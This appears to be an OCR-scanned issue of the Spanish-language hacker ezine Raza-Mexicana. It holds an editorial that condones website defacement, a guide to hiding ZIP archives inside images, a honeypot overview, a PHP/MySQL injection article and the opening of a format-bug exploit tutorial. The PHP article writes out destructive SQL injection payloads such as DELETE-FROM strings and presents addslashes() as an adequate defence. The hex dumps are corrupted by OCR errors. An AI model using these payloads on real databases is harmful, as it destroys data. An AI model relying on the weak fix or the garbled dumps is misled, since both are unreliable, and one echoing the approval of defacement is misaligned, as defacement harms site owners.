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Introduccién

Una vez mas reciban un cordial saludo y una mentada de madre a los
opresores y vende patrias. ¢Qué pensaban? :;Qué ya no habria ezine?
Nuestras ocupaciones no nos han dejado mucho tiempo libre pero al fin
pudimos darnos un tiempo y elaborar este ezine que espero que sea de
utilidad.

El otro dia de regreso a la casa después de un arduo dia de
trabajo, en el sistema de transporte colectivo (Metro) me encontré con un
ser muy extrafio tan extrafio que se me hizo muy familiar. Dicho ser iba
con una amiguita de no mal ver, con unos senos... bueno, ese no es el
punto, el punto es lo que él le iba contando algo que palabras mas,
palabras menos era asi:

“ Hoy me dijo el administrador de la red que fuera por unos cds que
dejd en el escritorio de su oficina, fui por ellos y vi que en el monitor
habia pegado un post-it con unos numeros y letras, y supuse que podrian
ser el password del servidor asi que los apunté aqui, mira (sacd un
boleto del metro y pude ver que con tinta roja habian unos caracteres que
por la distancia y mi ceguera no puede distinguir), en la noche voy a
calarle y si puedo entrar voy a Jjaquearlo y le voy a poner en su pagina
principal que es un pendejo y que no tiene seguridad en su servidor,
igual y lo corren je Jje je...”

Me quede pensando unos instantes en lo que acababa de presenciar vy
saque las siguientes conclusiones:

1. Recordé la primera vez que tuve acceso a un servidor, esa sensaciodn
de poder es increiblemente seductora, te sientes el ser mas
inteligente del mundo, el corazdédn late a mil por hora, las manos te
sudan y tiemblas, la adrenalina empieza su recorrido y rapidamente
te llega a la cabeza, sabes que tienes el poder, el poder dque
anduviste buscando y ahora lo tienes, es tuyo, y que es lo primero
que haces?? Creo que todos sabemos la respuesta, haces un webcrack
diciendo que entraste facilmente, que no te 1llevdé mas de dos
minutos, que la seguridad no existe en ese servidor y que el lamer
del administrador deberia de estar en la calle porque no hace bien
su trabajo, y si te ves muy osado, hasta dejas una cuenta de correo
para que se comuniquen contigo y te pidan ayuda. Pero todos pasamos
por eso, ese es el primer paso y es lo gque nos dice que aun no
tenemos la suficiente madurez, aunque muchos se quedan ahi por
mucho tiempo y siguen buscando servidores para penetrarlos, sin ton
ni son, sin sentido alguno.

2. Todos llevamos un ‘hacker’ dentro. Encontrar una moneda tirada en
la calle no te da el titulo de millonario o si?? Asi como no te
hace un hacker el haber encontrado un password, o haber usado un
explit para entrar a un servidor.

3. Los password no se apunta. Un password se memoriza y no se usan
fechas de cumpleafios, numeros telefdénicos o iniciales.
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4. Mantener la boca cerrada. No creo que andar fanfarroneando sea una

buena practica, mejor es quedarse calladito.

5. Debi de haberle visto mas los senos a esa chica porque cuando

terminé mi reflexidédn y alcé la mirada ya se habian bajado.

Seria ese chico un hacker en potencia?? Quizéd si quizd no, pero lo que
si es seguro es que me vi reflejado en él y vi también a varios que
conozco, asi empezamos, y el chiste de todo esto es seguir déndole duro
al estudio, seguir preparandonos, madurar. No digo que el webcrack sea
malo, yo creo que es una forma de gritarle al mundo lo gque pensamos, una
manera de hacernos escuchar y este modesto, sencillo o poco util ezine es

nuestra forma de gritarle al mundo que Raza-Mexicana esta aqui,
viviendo, latiendo, luchando por su identidad y sus ideales.

presente,

Vlad
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Metodo de Camuflaje Digital

Por DarkSide (darkside@raza-mexicana.org)

A continuacion veremos una manera de poder esconder manualmente un
archivo comprimido, ya sea .zip .rar .ace, etc. y meterlo dentro de una
imagen ( .jpg .gif .png etc.), asi podremos pasar desapersivido por la
red, este metodo es parte tambien de la Esteganografia.

Esteganografia

La esteganografia es el arte o ciencia de ocultar, (steganos palabra
griega que significa cubrir, en un sentido de -esconder y graptos,
escribir) mensajes invisibles en mensajes visibles.

La esteganografia a diferencia de 1la criptrografia intenta ocultar un
mensaje de forma que no despierte la mas minima sospecha.

Criptografia

La palabra criptografia proviene del griego kryptos, que significa
esconder 'y graphein, escribir, es decir, escritura escondida. La
criptografia ha sido usada a través de los afios para mandar mensajes
confidenciales cuyo propdésito es que sdblo las personas autorizadas
puedan entender el mensaje.

Alguien que quiere mandar informacidén confidencial aplica técnicas
criptograficas para poder "esconder" el mensaje (lo llamaremos cifrar o

encriptar), manda el mensaje por una linea de comunicacidén que se supone
insegura y después solo el receptor autorizado pueda leer el mensaje
"escondido" (lo llamamos descifrar o descencriptar).

Pero a quien se atribuye el primer método de encriptado con su
debidaDocumentacidén es al general romano Julio César, dquien cred un
sistema simple de sustitucidén de letras, gque consistia en escribir el
documento codificado con la tercera letra que siguiera a la que realmente
correspondia. La A era sustituida por la D, la B por la E y asi
sucesivamente. En la Edad Media el uso de la escritura codificada se
incrementdé. Un libro de astronomia escrito en 1390 y atribuido a Geoffrey
Chaucer contiene trozos cifrados.

Ahora si, despues de haber leido un poco de las definiciones de lo que es
la Esteganografia y la Criptografia, empesaremos con el articulo.

Lo que debemos tener instalado o a la mano es un Editor Hexadecimal,
tambien el archivo de la imagen y el archivo comprimido que vayamos a
querer ocultar dentro de la imagen.

Despues deberemos abrir nuestro Editor Hexadecimal vy mandar llamar
nuestro archivo comprimido, vya al tener abierto dicho archivo en su
codigo hexadecimal, lo que haremos a continuacion es el seleccionar todo
completamente, copiar y pegar en un nuevo archivo hexadecimal, pasaremos
a abrir el archivo de imagen con nuestro editor Hexadecimal y haremos lo
mismo de copiar, solamente que al pegarlo, lo haremos al inicio de
nuestro archivo que ya anteriormente teniamos como nuevo, ya al tener los
dos codigos Jjuntos, grabaremos nuestro archivo con la extencion de imagen
( .jpg .gif .png etc. ), con todos estos pasos que hizimos tendremos dos
archivos en uno solo, que con solo cambiar de extencion al archivo
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podremos utilizar nuestro archivo comprimido o ver nuestra imagen
normalmente.

Los codigos a continuacion mostrados, solamente son una minima parte del
archivo original, ya que solamente es para dar una demostracion.

Codigo Hexadecimal
Imagen *.jpg

00000000 FFD8 FFEO 0010 4A46 4946 0001 0101 0048 ...... JEIF..... H
00000010 A953 E2B1 E2B1 CD8D 859C AESB F535 BBO97 .S........... 5..
00000020 D4AF 7519 8736 629D D92A 07B2 A5C3 TEAT7 ..u..6b..*..
00000030 SAA5 46CD 4E6C 8391 AlS5A E725 D449 4E46 ..F.Nl1...Z.%.INF
00000040 B6C3 645B 3975 6B64 C890 6CCO 30CD 19CB ..d[%ukd..l1l.0...
00000050 2591 8001 8592 0004 0065 1804 A609 194C %........ e..... L
00000060 8193 2C67 8230 4F26 5320 6726 C46B 608C ..,g.00&S g&.k .
00000070 13C9 9COA F267 2675 T70CA EOSE F19C 9AF2 ..... JEUP . v v v v
00000080 325F 991B 4D99 1935 E464 7323 69B3 2326 2 ..M..5.ds#i.#¢&
00000090 BC8C 93CC B1B4 D993 1921 9192 3991 B49E .........!..9...
000000A0 4648 64C6 4ABB 8182 7919 2191 92BC C327 FHdA.J...y.!....'
000000BO 0O6CC 8COA F267 2595 C118 3664 64D7 9192 ..... g% ..
000000CO DCCB 1B4D 9919 35E4 6473 2369 3C98 6C8E ...M..5.ds#i<.1l.
000000D0 4Ce64 A4AE 3230 49B3 0D91 C830 4AB6 4B60 Ld..20I )
000000EQO CB66 0C64 CIAF 29E4 9C19 6600 3136 4800 .f.d..)

000000F0O 1000 0000 0000 0000 3391 9300 B290 2408 ........ 3..... S.
00000100 8277 8Cl2 0441 3BC8 C120 440D E304 8110 .w...A;.. D.....
00000110 378C 1204 40DE 3048 1104 6F27 0672 3260 7...Q.0H..o'.r2"
00000120 ODC3 0481 1037 8Cl2 0441 3BC8 C120 440D ..... 7...A;.. D.
00000130 E304 8C64 C023 7938 3391 9300 8D ...d#y83. ...

Archivo Compromido *.zip

00000000 504B 0304 1400 0200 0800 C5B1 7D2A 6866 PK.......... }*hf
00000010 733D E504 0000 CEOF 0000 0900 0000 5F73 S=..uiueeieuwnnnn s
00000020 5322 B311 0853 35B4 19B3 0580 EE18 04B1 S"...S5.........
00000030 A34B E85A C092 840D 0551 B62E 7326 CEFDO .K.Z..... Q..s6&..
00000040 28D7 27B4 DE64 D5DD 7DF4 ALSE9 5A46 4DOE (.'..d..}...ZFM.

00000050 78B9 0050 4BO1 0214 0014 0002 0008 00C5 x..PK.......o....
00000060 B17D 2A68 6673 3DE5 0400 OOCE OFO00 0009 .}*hfs=.........
00000070 0000 0000 0000 0000 0020 00B6 8100 0000 ......... ......
00000080 005F 7379 7331 2E68 6472 504B 0102 1400 . sysl.hdrPK....

00000090 1400 0200 0800 D868 5B25 8920 A872 3C28 ....... h{%. .r<(
000000A0 0000 006C 0000 0AOO0 0000 0000 0000 0000 ...1l.......v....
000000BO 2000 FF81 0CO5 0000 5F49 5344 656C 2E65 ....... _ISbDel.e
000000CO 7865 504B 0102 1400 1400 0200 0800 5C84 xePK.......... \.
000000D0 3D25 A603 6904 5531 0000 0088 0000 OAOO =%..1i.Ul........
000000EO 0000 0000 0000 0000 2000 B681 702D 0000 ........ c..p..
000000FO0 5F53 6574 7570 2E64 6C6C 504B 0102 1400 Setup.dllPK....
00000100 1400 0200 0800 C5B1 7D2A C988 956E EOAA ........ I o
00000110 0200 6AAD 0200 0900 0000 0000 0000 0000 ..Jj...eevenon...
00000120 2000 B681 EDSE 0000 5F73 7973 312E 6361 ....".. sysl.ca
00000130 6250 4B01 0214 0014 0002 0008 00B7 5D57 bPK........... JW

00000140 2618 6F98 DCAO 8304 00E2 8604 000C 0000 &.0v.vevinvnnn.n.
00000150 0000 0000 0000 0020 00B6 81F4 0903 OO05SF ....... «.o.... _
00000160 696E 7374 3332 692E 6578 5F50 4B01 0214 inst32i.ex PK...
00000170 0014 0002 0008 00C6 B17D 2A52 D950 878E ......... }*R.P..
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00000180 BAOO OODF BBOO 000A 0000 0000 0000 0000 ........oveiovn...
00000190 0020 00B6 81BE 8D07 O0O05F 7573 6572 312E . ....... userl.
000001A0 6361 6250 4BO1 0214 0014 0002 0008 00C6 cabPK...........
000001BO B17D 2A0F OF99 D286 0500 00B3 1100 000A .}*.........o....
000001CO 0000 0000 0000 0000 0020 00OB6 8174 4808 ......... ..tH.
000001D0O O0S5F 7573 6572 312E 6864 7250 4BO1 0214 . userl. hdrPK
000001EO0 0014 0002 0008 00C6 B17D 2A63 BSDA 926D ......... }*c...m
000001F0 0000 0071 0000 0008 0000 0000 0000 0001 ...ge.eeeeeeneo.on.
00000200 0020 00B6 8122 4E08 0044 4154 412E 5441 . ..."N..DATA.TA
00000210 4750 4B0O1 0214 0014 0002 0008 00C6 B17D GPK............ }
00000220 2A15 FA35 794B E21C 00B8 EB1C 0009 0000 *..5yK..........
00000230 0000 0000 0000 0020 00B6 81B5 4E08 0064 ....... ...N..d
00000240 6174 6131 2E63 6162 504B 0102 1400 1400 atal. cabPK ......
00000250 0200 0800 Ce6B1 7D2A 2B70 6FCE OEO09 0000 ...... }*+po.....
00000260 ED19 0000 0900 0000 0000 0000 0000 2000 ..........o....
00000270 B681 2731 2500 6461 7461 312E 6864 7250 ..'l%.datal. hdrP
00000280 4B01 0214 0014 0002 0008 0055 5C2C 26EF K.......... U\, &.
00000290 DAFO0 8ECS5 1F00 OOF5 5BO0O 0008 0000 0000 ........ (oot
000002A0 0000 0000 0020 00B6 815C 3A25 006C 61l6E ..... ...\:%.1lan
000002BO0 672E 6461 7450 4B01 0214 0014 0002 0008 g.datPK.........
000002C0 00C7 B17D 2AE6 C4D4 91F9 0000 0075 0200 ...} *........ u..
000002D0 O000A 0000 0000 0000 0000 0020 00B6 8147 ........... .G
000002EQ0 5A25 006C 6179 6F75 T742E 6269 6E50 4BO1 layout blnPK
000002F0 0214 0014 0002 0008 0023 8DFB 246E E771 ......... .Sn.q
00000300 2DA9 0000 00C2 0100 0006 0000 0000 0000 —....vievnnon...
00000310 0001 0020 00B6 8168 5B25 006F 732E 6461 ... ...h[%.0s.da
00000320 7450 4B0O1 0214 0014 0000 0008 001D AD65 tPK.......ouv... e
00000330 2B62 DFBD 8C76 OEOO 00A2 2A00 000A 0000 +4b...v....*.....
00000340 0000 0000 0001 0020 00B6 8135 5C25 0052 ....... ..5\%.R
00000350 6561 646D 652E 7478 7450 4B01 0214 0014 eadme. txtPK .....
00000360 0002 0008 00B4 A1l81 2977 5817 A30A DCO2 ........ JwX. ...,
00000370 0086 7F03 0009 0000 0000 0000 0001 0020 ....ivvvvninnn.n.
00000380 00B6 81D3 6A25 0053 6574 7570 2E62 6D70 ....j%.Setup.bmp
00000390 504B 0102 1400 1400 0200 0800 4A65 2C26 PK.......... Je, &
000003A0 FE6C 7EC1 3C85 0000 0020 0100 0900 0000 .1~.<.... ......
000003BO 0000 0000 0000 2000 FEF81 0447 2800 5365 ...... ..G(.Se
000003CO 7475 T702E 6578 6550 4BO1 0214 00OA 0002 tup. exePK .......
000003D0 0000 00Ce6 B17D 2A1F 096E BA64 0000 0064 ..... }*..n.d...d
000003EO0 0000 0009 0000 0000 0000 0001 0020 00B6 +.vvuvvwnnnn.
000003F0 8167 CC28 0053 4554 5550 2E49 4E49 504B .g. (.SETUP. INIPK

00000400 0102 1400 1400 0200 0800 C8B1l 7D2A 022B .......e.vn.. Pro+
00000410 01B7 173A 0000 D4E9 0000 0900 0000 0000 ...:...eveino.o...
00000420 0000 0000 2000 B681 F2CC 2800 7365 7475 .... ..... (.setu
00000430 702E 696E 7350 4BO1 0214 0014 0002 0008 p.insPK.........
00000440 00Ce6 B17D 2A7D 9037 362D 0000 0031 0000 ...}*}.76-...1..
00000450 0009 0000 0000 0000 0001 0020 00B6 8130 ........... .0
00000460 0729 0073 6574 7570 2E6C 6964 504B 0506 .).setup. lldPK

00000470 0000 0000 1300 1300 1904 0000 8407 2900 .....vvvvvnnn ).

00000480 0000
Codigo final

00000000 FFD8 FFEO 0010 4A46 4946 0001 0101 0048 ...... JFIF..... H
00000010 A953 E2B1 E2B1 CD8D 859C AESB F535 BBO97 .S........... 5..
00000020 D4AF 7519 8736 629D D92A (07B2 ASC3 7EA7 ..u..6b..*..

00000030 SAA5 46CD 4E6C 8391 AlS5A E725 D449 4E46 ..F.Nl1...Z.%.INF
00000040 B6C3 645B 3975 6B64 C890 6CCO 30CD 19CB ..d[S%ukd..1l.0...
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00000050 2591 8001 8592 0004 0065 1804 A609 194C %........ e..... L
00000060 8193 2C67 8230 4F26 5320 6726 C46B 608C ..,g.00&S g&.k’
00000070 13C9 9CO9A F267 2675 T70CA EOSE F19C 9AF2 ..... JEUP . v v v v v
00000080 325F 991B 4D99 1935 E464 7323 69B3 2326 2 ..M..5.ds#i.#¢&
00000090 BC8C 93CC B1B4 D993 1921 9192 3991 B49E .........!..9...
000000A0 4648 64Ce6 4ABB 8182 7919 2191 92BC C327 FHdA.J...y.!....'
000000BO O6CC 8COA F267 2595 C118 3664 64D7 9192 ..... g%

000000CO DCCB 1B4D 9919 35E4 6473 2369 3C98 6C8E ...M..5.ds#i<.1l.
000000D0 4C64 A4AE 3230 49B3 0D91 C830 4AB6 4B60 Ld..20I

000000EQO CB66 0C64 CIAF 29E4 9C19 6600 3136 4800 .f.d..)

000000F0 1000 0000 0000 0000 3391 9300 B290 2408 ........ 3..... S.
00000100 8277 8Cl2 0441 3BC8 C120 440D E304 8110 .w...A;.. D.....
00000110 378C 1204 40DE 3048 1104 6F27 0672 3260 7...Q@.0H..o'.r2"
00000120 ODC3 0481 1037 8Cl2 0441 3BC8 C120 440D ..... 7...A;.. D.
00000130 E304 8Ce64 C023 7938 3391 9300 8D50 4B03 ...d.#y83....PK.
00000140 0414 0002 0008 00C5 B17D 2A68 6673 3DE5 ......... }*hfs=.
00000150 0400 OOCE OF00 0009 0000 OO5F 7353 22B3 .....evvnnn. _sS".
00000160 1108 5335 B419 B305 80EE 1804 B1A3 4BE8 ..S5.......... K.
00000170 5ACO 9284 0DO05 51B6 2E73 26CF D028 D727 Z..... Q..s5&.. (.
00000180 B4DE 64D5 DD7D F4A5 ES9S5A 464D 0OE78 B900 ..d..}...ZFM.x..
00000190 504B 0102 1400 1400 0200 0800 C5B1 7D2A PK........oo... }*
000001A0 6866 733D E504 0000 CEOF 0000 0900 0000 hfs=............
000001BO 0000 0000 0000 2000 B681 0000 0000 SF73 ..vive vivnnn. s
000001CO 7973 312E 6864 7250 4B01 0214 0014 0002 ysl.hdrPK.......
000001D0 0008 00D8 685B 2589 20A8 723C 2800 0000 ....h[%. .r<(...
000001EO0 6C0O0 000A 0000 0000 0000 0000 0020 OOFF l............
000001F0 810C 0500 OO5F 4953 4465 6C2E 6578 6550 ..... _ISDel. exeP
00000200 4B0O1 0214 0014 0002 0008 005C 843D 25A6 K....vvvnn. \.=%.
00000210 0369 0455 3100 0000 8800 000A 0000 0000 .i.Ul...........
00000220 0000 0000 0020 00B6 8170 2D0O0 OO5F 5365 ..... .p—.._Se
00000230 7475 702E 646C 6C50 4B0O1 0214 0014 0002 tup. dllPK .......
00000240 0008 00C5 B17D 2ACY9 8895 6EEO0 AAO02 006A ..... J*..o.n.. 0]
00000250 ADO2 0009 0000 0000 0000 0000 0020 00B6 ...
00000260 81ED 5E00 005F 7379 7331 2E63 6162 504B ..”".. sysl. cabPK
00000270 0102 1400 1400 0200 0800 B75D 5726 186F ........... JW&.o
00000280 98DC A083 0400 E286 0400 0CO0 0000 0000 ........cvovn...
00000290 0000 0000 2000 B681 F409 0300 5F69 6ET73 .... ....... ins
000002A0 7433 3269 2E65 785F 504B 0102 1400 1400 t321 ex PK......
000002B0O 0200 0800 Ce6B1 7D2A 52D9 5087 8EBA 0000 ...... }*R.P. .. ..
000002Cc0 DFBB 0000 OAQOO 0000 0000 0000 0000 2000 .......c.oven...
000002D0 B681 BES8D 0700 5F75 7365 7231 2E63 6162 ...... _userl. cab
000002E0 504B 0102 1400 1400 0200 0800 C6B1l 7D2A PK.......ovuo.. }*
000002F0 OFOF 99D2 8605 0000 B311 0000 OAOQO 0000 ........ccvuuo.n.
00000300 0000 0000 0000 2000 B681 7448 0800 5F75 ...... ..tH.. u
00000310 7365 7231 2E68 6472 504B 0102 1400 1400 serl. hdrPK ......
00000320 0200 0800 Ceé6Bl 7D2A 63B5 DA92 6D00 0000 ...... J*e.o..m. ..
00000330 7100 0000 0800 0000 0000 0000 0100 2000 g.vevuevewnnnn
00000340 B681 224E 0800 4441 5441 2E54 4147 504B .."N..DATA. TAGPK
00000350 0102 1400 1400 0200 0800 C6B1 7D2A 15FA ............ Px..
00000360 3579 4BE2 1C00 B8EB 1CO0 0900 0000 0000 S5yK......vuvee.n.
00000370 0000 0000 2000 B681 BS54E 0800 6461 7461 .... ....N..data
00000380 312E 6361 6250 4BO1 0214 0014 0002 0008 l.cabPK.........
00000390 00C6 B17D 2A2B 706F CEOE 0900 OOED 1900 ...}*4po........
000003A0 0009 0000 0000 0000 0000 0020 00B6 8127 ......v.on.. !
000003BO 3125 0064 6174 6131 2E68 6472 504B 0102 .datal. hdrPK
000003C0O 1400 1400 0200 0800 555C 2C26 EFDA FO8E ........ U\,&....
000003D0 C51F 0000 F55B 0000 0800 0000 0000 0000 ..... [eeee
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000003EO0 0000 2000 B681 5C3A 2500 6C6l 6E67 2E64 .. ...\:%.lang.d
000003F0 6174 504B 0102 1400 1400 0200 0800 C7Bl atPK............
00000400 7D2A E6C4 D491 FS00 0000 7502 0000 OAQO }*........ U.....
00000410 0000 0000 0000 0000 2000 B681 475A 2500 ........ ...GZ%.
00000420 6C61 796F 7574 2E62 696E 504B 0102 1400 layout.binPK....
00000430 1400 0200 0800 238D FB24 6EE7 712D A900 ...... #..8n.g-..
00000440 0000 C201 0000 0600 0000 0000 0000 0100 ....ivvvvvninnn.n.
00000450 2000 B681 685B 2500 6F73 2E64 6174 504B ...h[%.0s.datPK
00000460 0102 1400 1400 0000 0800 1DAD 652B 62DF ............ e+b.
00000470 BD8C 760E 0000 A22A 0000 OAOQO 0000 0000 ..v....*........
00000480 0000 0100 2000 B681 355C 2500 5265 6164 .... ...5\%.Read
00000490 ©eD65 2E74 7874 504B 0102 1400 1400 0200 me.txtPK........
000004A0 0800 B4Al 8129 7758 17A3 OADC 0200 867F ..... JWX.o oo

000004B0O 0300 0900 0000 0000 0000 0100 2000 B68L .....vvvunn. .
000004C0O D36A 2500 5365 7475 702E 626D 7050 4BO01 .j%.Setup.bmpPK.

000004D0 0214 0014 0002 0008 004A 652C 26FE 6CTE ......... Je, &.1~
000004E0 C13C 8500 0000 2001 0009 0000 0000 0000 .<.... .........
000004F0 0000 0020 OOFF 8104 4728 0053 6574 7570 ... ....G(.Setup

00000500 2E65 7865 504B 0102 1400 OAO0O 0200 0000 .exePK..........
00000510 C6B1 7D2A 1F09 6EBA 6400 0000 6400 0000 ..}*..n.d...d...

00000520 0900 0000 0000 0000 0100 2000 B681 67CC .......... ...g.
00000530 2800 5345 5455 502E 494E 4950 4B01 0214 (.SETUP.INIPK...
00000540 0014 0002 0008 00C8 B17D 2A02 2BO1 B717 ......... R
00000550 3A00 00D4 ES00 0009 0000 0000 0000 0000 :v..evievninon...
00000560 0020 00B6 81F2 CC28 0073 6574 7570 2E69 . ..... (.setup.i

00000570 6E73 504B 0102 1400 1400 0200 0800 C6Bl nsPK............
00000580 7D2A 7D90 3736 2D0O0 0000 3100 0000 0900 }*}.76-...1.....
00000590 0000 0000 0000 0100 2000 B681 3007 2900 ........ ...0.).
000005A0 7365 7475 T702E 6C69 6450 4B05 0600 0000 setup.lidPK.....
000005B0 0013 0013 0019 0400 0084 0729 0000 00  ........... ) ...

Podemos hacer todos estos pasos manualmente o podemos ocupar alguna otra
utilidad que nos ayude a poder llevar lo que queremos, a continuacion le
dare dos nombres de unos buenos programas gque no podran llevar de la mano
al usarlos.

Para poder darle un buen toque a sus archivos, podria ocupar la utilidad
WinHex para poder encriptar su codigo hexadecimal y poder tener un poco
mas de privacidad en sus archivos que ocupara para ocupar dichas tecnicas
de la Esteganografia y la Criptografia.

Programas

Aqui se hara mencion de dos programas, gque podria servir de gran
utilidad, para las personas que gusten probar y ver sus utilidades.

Steganos Security Suite
*  Camuflage

Espero que este articulo sea de su agrado, y que puedan ocuparlo
dependiendo su utilidad que gusten darle, ya que siempre es util el tener
una idea para salir adelante.
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El Proyecto HONEYNET
Por Radikall (radikall@raza-mexicana.org)

HONEYNET es un tipo de honeypot disefiado especificamente para la
investigacidn.

Un honeypot es un recurso para evaluar si se estd probando, atacando, o
se estd comprometiendo un sistema. Su valor ha estado tradicionalmente
para el engafio o a la deteccidén de ataques.

Son generalmente los solos sistemas que emulan otros sistemas, emulan
servicios o vulnerabilidades sabidos, o crean ambientes cerrados.

Algunos ejemplos de Honeypot sén:

Deception Toolkit http://www.all.net/dtk
Mantrap http://www.mantrap.com/

OBJETIVOS:

Prevencién: Deseamos parar a los Hackers. Si nosotros aseguramos nuestras
casas, la prevencién seria similar a colocar trampas en las puertas,
bloquear 1las ventanas, y quizds a instalar una cerca de que cubra
alrededor de nuestra casa. Nosotros estamos haciendo todo lo posible para
dejar la amenaza afuera.

Deteccién: Deseamos detectar a los Hackers cuando consiguen entrar a
nuestros sistemas, vya que sabemos que nuestra prevencidén fallara.
Querémos estar seguros de gque detectdmos tales incidentes. De nuevo
usando la analogia de la casa, esto seria similar a poner una alarma y
sensores de movimiento en la casa. Estas alarmas se apagan cuando alguien
logrdé introducirse a la casa. Si la prevencién falla, queremos ser
alertados de esto cuanto antes.

Reaccién: Deseamos reaccionar a los Hackers una vez que los detectémos.
La deteccidén del incidente tiene poco valor si nosotros no tenemos la
capacidad de responder. Si alguien entra en nuestra casa y la alarma se
acciona, uno espera que la policia pueda responder rapidamente.Una vez
que hayamos detectado un incidente, debemos elaborar wuna respuesta
eficaz al incidente.

CONOCE A TU ENEMIGO:

SCRIPT KIDDIE: Es alguien que Dbusca wuna presa facil. ©No Dbuscan
informacién especifica o una victima en concreto. Su objetivo es ganar de
la forma mas facil posible privilegios de root o Administrador. Ellos
hacen esto centrando su actividad en la busqueda de un Exploit por toda
Internet, que les permita explotar el sistema. Tarde o temprano
encontrarédn algo vulnerable.

Algunos de ellos son usuarios avanzados gque desarrollan sus propias

herramientas vy garantizan su futuro acceso mediante puertas traseras.
Otros no saben lo que hacen y solo saben como escribir "go" en la linea
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de comandos. Independientemente de su nivel de conocimientos, comparten
una estrategia comun, una busqueda aleatoria de cualquier vulnerabilidad,
para a continuacién explotarla.

METODOLOGIA: La metodologia del Script kiddie es simple. Escanea internet
en busca de wuna vulnerabilidad especifica, cuando la encuentra, la
explota. La mayoria de las herramientas que wusan son automaticas,
requieren poca interaccion.

CONCLUSION: El1 script kiddie es un peligro para todos los sistemas. No
muestran ningun perjuicio y escanean todos los sistemas, analizando su
localizacion.Tarde o temprano, tu sistema serd probado. Entendiendo sus
motivos y sus metodos, puedes proteger mejor tus sistemas contra este
peligro.

11
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Seguridad en PHP y MySQL
Por Xytras (xytras@raza-mexicana.orq)

Esta vez, siguiendo la linea de los lenguajes embedidos y su auge
actual, presento este texto sobre seguridad en PHP y MySQL.

Si, asi como lo esta leyendo, un lenguaje superior a muchos de su
tipo tiene vulnerabilidades, pero nada que un poco de logica e ingenio no
pueda corregir.

En si PHP ni MySQL son vulnerables, mas bien el codigo que
escribimos lo es, lo cual no es sano para las personas encargadas de
codificar, y mucho menos para dquien paga por los servicios del
programador, ya que si alguna persona con malicia ataca por este lado, la
empresa perderia desde un minimo hasta toda su informacion.

Esto, quiero aclarar, que no lo aprendi solo, una persona me abrio
los ojos y me ayudo a superar un error latente que tenian mis codigos vy
yo no tenia idea de que estaban ahi, a disposicion de quien quisiera
perjudicar.

Pues bien, empezemos:

La vulnerabilidad o error en el codigo viene en esta parte, la
mayoria de los codigos de buscadores manejan formularios, en el cual se
pasa una o mas variables con las cuales se implementara la busqueda, son
llamadas variables externas. Supongamos dgque tenemos un formulario que
necesita un valor el cual es el codigo de un producto o articulo, con el
cual se eliminara dicho registro de la Base de Datos, digamos gque dicha
variable viene de una pagina “borrar.html” y se envia por medio de un

metodo post o get la variable “S$borra”, pues algun usuario introduce en
ese campo el siguiente wvalor:
0 or codigo != 0

Eso lo que generaria seria esta sentencia en el script de borrado de
registro:
DELETE FROM tabla WHERE codigo =0 or codigo != 0

Aunque el problema no solo viene en los scripts de eliminacion de
registros, hasta un simple select, si el mismo que utilizamos para
desplegar listas o Dbuscar datos, digamos que 1llenan el campo donde
pedimos el valor a buscar con esta sentencia:

xx,; DELETE FROM tabla

La sentencia MySQL que se generaria seria algo asi:
SELECT * FROM tabla WHERE codigo=xx; DELETE FROM tabla

Eso quiere decir que recibira buscar xx y ademas eliminara TODOS los
registros de la tabla en cuestion.

Eso es algo que afectaria grandemente a la empresa para la cual
estamos trabajando y lo cual nos daria mas trabajo a los programadores y

a los encargados de cargar y manejar los datos de la BD.

Pero como todo problema tiene una solucion pues aqui esta la que
dicha persona me dio, lo cual agradezco grndemente, ya que me ahorro
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muchisimo trabajo a mi y a la empresa donde trabaje, lo cual ayuda a
tener un empleo seguro.

Pues aqui tengo la respuesta, simple ©pero qgue nos evitara
muchisimos problemas:

Existen dos cosas que tenemos que hacer siempre que hagamos scripts
que tengan acceso a nuestra BD.

1.- Lo primero es entrecomillar todas las variables que nos lleguen
que se puedan modificar por algun usuario. Esto logra que los datos se
tomen como realmente los introdujo el usuario y no se “malinterpreten”
por el motor de nuestra BD, tomando el mismo ejemplo, el query seria de
la siguiente forma:

Squery = "SELECT * FROM datos WHERE codigo='S$codigo'"

Esto dara como resultado el siguiente query:

SELECT * FROM tabla WHERE codigo='25; DELETE FROM tabla’

Como es logico, el script no encontrara ningun valor que sea: “25;
DELETE FROM tabla”, lo cual nos salvara de esos usuarios maliciosos.
2.- El segundo caso es el siguiete:

Ahora el usuario que no pudo borrar los registros usa otro metodo, con
el cual agrega comillas a los datos para asi llevar a cabo su fechoria,
digamos que ahora usa esta cadena en el formulario:

xx'; DELETE FROM datos where 'x

Como nosotros vya habiamos “asegurado” el codigo entrecomillando
nuestras variables en el query, ahora el query recibira datos de la
siguiente manera:

Squery = "SELECT * FROM tabla WHERE codigo='S$codigo'";

Lo cual nos da el siguiente query:

SELECT * FROM tabla WHERE codigo='xx'; DELETE FROM tabla where 'x'

Efectivamente, ahora este astuto usuario nos elimino los registros.

Ahora la solucion a este caso esa gregar una funcion propia de PHP a
nuestros scripts, la cual es addslashes()

Lo que tenemos que hacer es al inicio del script agregar esta linea:

Scodigo = addslashes ($codigo) ;

Asi el usuario que nos quiere afectar no podra hacerlo, ya que ahora
el valor que llegara a la gquery es como sigue:

xx\'; DELETE FROM tabla where \'

El query resultante quedaria asi:
SELECT * FROM tabla WHERE codigo='xx\'; DELETE FROM tabla where \'Ll'
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Y de nuevo intentara buscar un registro cuyo valor sea:
Xx\'; DELETE FROM tabla where \'x

Asi nos estamos protegiendo doble de algun usuario que solo quiera

perjudicar.

Bueno pues este es el fin de este texto por el momento, espero les
ayude en algo, y si ya estan haciendo esto pues que bien, y si no sabian
este truco pues a ponerlo en marcha, ya que no hay nada mejor que estar
seguros y protegidos en nuetro trabajo.

Xytras

Comentarios y sugerencias sobre este texto mandarlas a xytras@raza-
mexicana.org
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Explotando Format Bugs
Por 0x90 (0x90@raza-mexicana.orq)

I. Introduccion

Los format bugs son ya una cosa cotidiana en la explotacion y se pueden
ver un monton de textos y de exploits por todos lados, porque hacer otro
mas?, porque simplemente no hay uno bueno en espafiol y los que he visto
fallan de algunas cosas que son obvias tal vez cuando ya las sabes hacer
pero cuando estas intentado explotar tu primer format bug son un dolor de
cabeza.

Aquil veremos varios ejemplos de format bugs y varias tecnicas, no son
todas ni las mas avanzadas pero bueno al menos podran explotar su format
bug al final de este articulo.

Bien importante si no saben C se la van a pasar en blanco casi con este
articulo y si ustedes son de los gque cuando hace segmentation fault 1lo
primero que dicen es gqu ees una denegacion de servicio en lugar de un
buffer overflow todavia mas. Intentare irme a lo basico pero no cuenten
con ello.

IT. printf y su familia

Hay muchas funciones que imprimen a la pantalla, write, printf y demas,
ademas de imprimir en archivos, cual es el problema en el cual tomas
control de todo el problema?. Veamos con un ejemplito:

